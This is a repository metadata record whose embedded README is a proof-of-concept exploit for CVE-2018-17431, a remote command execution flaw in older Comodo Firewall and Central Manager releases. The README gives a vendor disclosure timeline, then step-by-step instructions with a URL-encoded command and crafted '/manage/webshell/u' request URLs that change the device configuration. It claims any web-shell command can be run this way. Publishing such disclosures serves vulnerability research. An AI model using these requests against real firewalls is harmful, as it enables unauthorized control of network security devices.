{"id":13296867,"url":"https://github.com/Fadavvi/CVE-2018-17431-PoC","last_synced_at":"2025-03-10T09:32:10.838Z","repository":{"id":128983441,"uuid":"160916642","full_name":"Fadavvi/CVE-2018-17431-PoC","owner":"Fadavvi","description":"Proof of consept for CVE-2018-17431","archived":false,"fork":false,"pushed_at":"2021-06-10T12:36:31.000Z","size":571,"stargazers_count":1,"open_issues_count":0,"forks_count":2,"subscribers_count":0,"default_branch":"master","last_synced_at":"2023-03-08T20:08:26.253Z","etag":null,"topics":["comodo","cve","cve-2018-17431","exploit","poc","proof-of-concept","rce","remote-code-execution"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Fadavvi.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-12-08T07:47:41.000Z","updated_at":"2022-03-12T00:29:56.000Z","dependencies_parsed_at":"2023-04-12T03:17:19.260Z","dependency_job_id":null,"html_url":"https://github.com/Fadavvi/CVE-2018-17431-PoC","commit_stats":null,"previous_names":[],"tags_count":0,"template":null,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Fadavvi%2FCVE-2018-17431-PoC","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Fadavvi%2FCVE-2018-17431-PoC/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Fadavvi%2FCVE-2018-17431-PoC/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Fadavvi%2FCVE-2018-17431-PoC/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Fadavvi","download_url":"https://codeload.github.com/Fadavvi/CVE-2018-17431-PoC/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":242823718,"owners_count":20191048,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["comodo","cve","cve-2018-17431","exploit","poc","proof-of-concept","rce","remote-code-execution"],"created_at":"2024-07-29T17:21:17.639Z","updated_at":"2025-03-10T09:32:10.829Z","avatar_url":"https://github.com/Fadavvi.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"## CVE-2018-17431-PoC\nProof of consept for CVE-2018-17431\n\n### Exploit Title: Comodo Firewall \u0026 Central Manager (UTM) All Release before 2.7.0 \u0026 1.5.0 Remote Command Execution (Web Shell based)\n### Exploit Author: Milad Fadavvi\n### Vendor Homepage: https://www.comodo.com/\n### Software Link: https://secure.comodo.com/home/purchase.php?pid=106\u0026license=try\u0026track=9276\u0026af=9276\n### Version: before 2.7.0 \u0026 1.5.0\n### Tested on: Windows:firefox/chrome - Kali:firefox\n### Discovery Date: 2018-08-15 (reported in sameday)\n### Confirmation than bug exist: 2018-09-22 ([Ticket ID: XWR-503-79437](https://github.com/Fadavvi/CVE-2018-17431-PoC/blob/master/Comodo-Confirmarion.png))\n### Patch released: 2018-11-23 [Release Notes from Comodo](https://github.com/Fadavvi/CVE-2018-17431-PoC/raw/master/DomeFW2.7.0.ReleaseNote.pdf)\n\nExploit:\n\n1. WebShell simulation:\n\n        For example disable SSH in web shell is like this:\n            - service [hit enter]\n            - ssh [hit enter]\n            - disable [hit enter]\n\n2. Encode\n        \n        make above sequense encode with URL ECODING\n        (I used burp encoder plugin)\n\n        %73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a\n\n3. Run \n\n        Base URL: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]\u0026w=100\u0026h=24\u0026k=[Encoded_Command]\u0026l=[Integer]\u0026_=1534440840152\n        \n        \n                  https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]\u0026w=100\u0026h=24\u0026k=%0a\u0026l=[Integer]\u0026_=1534440840152 (extra enter key for run the command)\n                  \n\n        Example: https://192.168.250.10:10443/manage/webshell/u?s=4\u0026w=100\u0026h=24\u0026k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a\u0026l=21\u0026_=1534440840152\n        \n              https://192.168.250.10:10443/manage/webshell/u?s=4\u0026w=100\u0026h=24\u0026k=%0a\u0026l=21\u0026_=1534440840152\n\n\nA page with **\"Configuration has been altered\"** message will show up and configuration changed!\n\n\n\n### With this technic, we can simulate all WebShell Commands.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFadavvi%2FCVE-2018-17431-PoC","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FFadavvi%2FCVE-2018-17431-PoC","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFadavvi%2FCVE-2018-17431-PoC/lists"}